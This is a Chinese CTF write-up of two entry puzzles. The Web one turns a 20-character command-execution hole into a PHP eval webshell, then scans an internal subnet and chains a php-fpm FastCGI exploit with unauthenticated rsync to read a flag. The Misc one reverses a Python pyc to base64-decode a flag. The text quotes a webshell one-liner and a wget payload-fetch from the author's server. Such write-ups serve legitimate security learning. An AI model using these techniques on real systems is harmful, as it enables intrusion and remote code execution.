CTF学习交流群(群号 473831530)上一期入群题的Web和Misc的wp,暑假时候做的,不过现在才换新一期入群题,才把wp整理出来,人挺菜的,文章若有什么错误,敬请指正,非常感谢喵~
两道题都是在Virink酱的耐心指导下慢慢做出来的,非常非常非常感谢Virink酱~
Web题出题人Virink酱和Misc出题人Processor酱也都是超级厉害的大师傅,做题经验和出题经验都超丰富哒,在题里学到了很多东西,所以再感谢一下Virink酱,然后感谢一下Processor酱~
全部题目:https://shimo.im/doc/rhhI8AQQm58DK2fD
Web
题目
题目说明
不要硬扫! 不要爆破! 不然就ban了
Tips: py3
题目代码
|
|
- 建一个沙盒,文件夹的名字是
md5('orange'+ip)
- 如果GET方法的
cmd
设置了值,并且长度小于等于20,执行命令 - 如果GET方法的
reset
被设置了值,把沙盒文件夹删除。 - 输出一下你的IP
开始!
看完题目代码,那现在的目标就是执行命令,先ls
一下看看目录里面都有啥吧
|
|
output:
|
|
next:命令执行写webshell
那现在能执行一些长度不超过20的系统命令,那下一步自然是要持久化,比如说,写个shell →_→
VK酱发给窝这篇文章,http://wonderkun.cc/index.html/?p=524 ,那就照着这篇文章写个webshell吧,思路如下:
- 在自己vps的根目录上放个
index.html
,内容是个webshell - 把
wget vps -O cyto.php
分成几段,写成文件名 ls -tr>1.sh
sh 1.sh
webshell就被下载到了靶机上
然后,试了好久好久,始终写不进去,问出题人vk酱,原来wget不让用QAQ 嘤嘤嘤QAQ
哎,只能直接把shell当文件名来写shell了,思路也和上面类似:
- 把
echo '<?php @eval($_POST["c"]);'>1.php
分成几段,写成文件名 ls -tr>1.sh
sh 1.sh
文件名拆分如下:
|
|
py2脚本如下:
|
|
output:
|
|
然后,蚁剑连上去~
2 下一步:内网
扫描存活主机
先拿到本机ip,可以看phpinfo()
里面有一项是$_SERVER['SERVER_ADDR']
,本题里对应值是172.16.233.222
然后扫C段,从172.16.233.0
扫到172.16.233.255
,脚本如下:
因为题目给了hint:py3, 所以下面在172.16.233.222
上运行的脚本都是py3的
|
|
output:
|
|
- 172.16.233.1.1 一般是网关/docker宿主机
- 172.16.233.222 是本机
所以窝们下一步的目标是在172.16.233.111上
扫描端口
脚本:
|
|
output:
|
|
搜一下端口对应的服务/漏洞:
- 873 Rsync未授权访问
- 9000 fpm-php fpm命令执行
先看9000端口的fpm命令执行
p牛文章:https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
还有现成的exp: https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
看exp的218~222行,使用方式应该是python3 fpm.py 172.16.233.111 [一个存在的文件的绝对路径] -c [要执行的代码]
来找路径吧,试了几个默认的比如/var/www/html
什么的,都不对,找vk酱嘤嘤嘤QAQ,vk酱提示:111和222的目录是一样的,也就是前面是/www/
了,再找一个php文件就大功告成了,试着访问了一下80端口:
|
|
output:
|
|
得到php文件的绝对路径:/www/redirect.php
,执行:
|
|
成功执行phpinfo(),返回太长了,不贴了~
然后加上-c
之后,无论窝执行什么,都返回ret=2
,然后试了一下这个:
|
|
有毒吧,default的代码复制过来,一样的代码,默认就没问题,-c
带上就有问题
感觉题目环境的,经vk酱指正,是蚁剑对符号解析的问题QAQ,于是乎只能蠢蠢地每次执行什么命令,就都写到221行的argparse
有问题default
后面QAQ
|
|
终于看到了flag文件,但没权限读QAQ 嘤嘤嘤QAQ
然后看看873的未授权访问
文章:http://www.cmdhack.com/?post=119
尝试执行$ rsync -avz 172.16.233.111::/7h1s_i5_f14g /www/sandbox/[打码]
,QAQ,同步不下来
然后……求助vk酱QAQ,vk酱告诉窝:“要想办法知道为啥下不下来,找找配置”
然后读配置:
|
|
只能本地访问,那只能把flag文件同步到/tmp
目录下,然后读文件了QAQ
为什么要同步到/tmp
目录呢?因为只有/tmp
目录有写权限。
|
|
getflag~
最后再总结一下
- 利用把shell写到文件名,再ls到一个.sh文件中,执行sh,从命令执行到写shell
- 扫描C段存活主机+扫描存活主机端口,发现开了
80, 873, 9000
三个端口 - 利用80端口得到后续漏洞需要的绝对路径
- 9000端口“fpm命令执行”+873端口“Rsync未授权访问” getflag
MISC
说是杂项,我jio得实际上是一个pyc的逆向,现在看起来蛮简单的,不过当时从来没接触过,完全不会做,差不多是vk酱手把手教会的了(嗯,还用上了直播(乖巧
题目说明:
附件 md5 值为 5cd2950f7f410630e636a52106f1d26b
入群答案需要去掉多余标点符合:如感叹号!
Tips:
https://processor.pub/2017/03/22/0CTF-2017-python%E9%80%86%E5%90%91/
解题过程
uncompyle6反编译
先装个神器,uncompyle6:
|
|
然后:
|
|
根据uncompyle6的结果,窝们一点点还原代码
7~12行
uncompyle6 -a crypt.pyc
输出的7
(也就是原代码第七行):
|
|
这一块,对应着成功反编译出来的import base64
然后下面 9 10 11 12行的:
|
|
以第九行为例,上面的LOAD_CONST
,加载常量,下面的STORE_NAME
,存储的名字,也就是定义变量,part_1 = 'cmFnZVq'
这样
也就对应着成功反编译出来的
|
|
这一部分。
现在恢复的代码:
|
|
14行,19行
|
|
14行,一个代码对象,decode,也就是定义了一个函数def decode():
19行,CALL_FUNCTION_0
,调用函数decode
现在恢复的代码:
|
|
15
15,16,17行没有成功反编译出来。
|
|
15行
BINARY_ADD
相加,还加了3次,所以是四个变量,猜一下,是part_1
加到part_4
,然后赋值给secret
的变量:
|
|
不过呢,这里还有个SLICE+2
应该是切片的意思(字符串切片,就是在字符串里面提取一个子字符串
这个切片还是在第一个BINARY_ADD
之前,所以应该是对part_1
进行切片
那现在就要找part_1
切片的下标了
SLICE+2
表示的是[:n]
。为什么呢?
窝们看下面这段代码:
|
|
编译出来的pyc再反编译:
|
|
也就是说:
Disassembly | python |
---|---|
SLICE+0 | str[:] |
SLICE+1 | str[n:] |
SLICE+2 | str[:n] |
SLICE+3 | str[a:b] |
然后再根据vk酱的指导,照着Processor的wp:
|
|
发现一个常量-1
,所以:
|
|
16行
b64decode,很熟悉,base64模块里的一个函数,用于解base64编码的
然后,再结合这两句:
|
|
很明显可以猜出来是,对secret
解base64,然后存到变量text
里面
|
|
17行
|
|
PRINT_ITEM
,打印项。打印哪一项?上面的text
。然后PRINT_NEWLINE_CONT
,再打印一个回车换行。
所以是print(text)
getflag~
所以恢复的代码:
|
|
运行:
|
|
最后flag:flag{rage_your_dream}
成功getflag~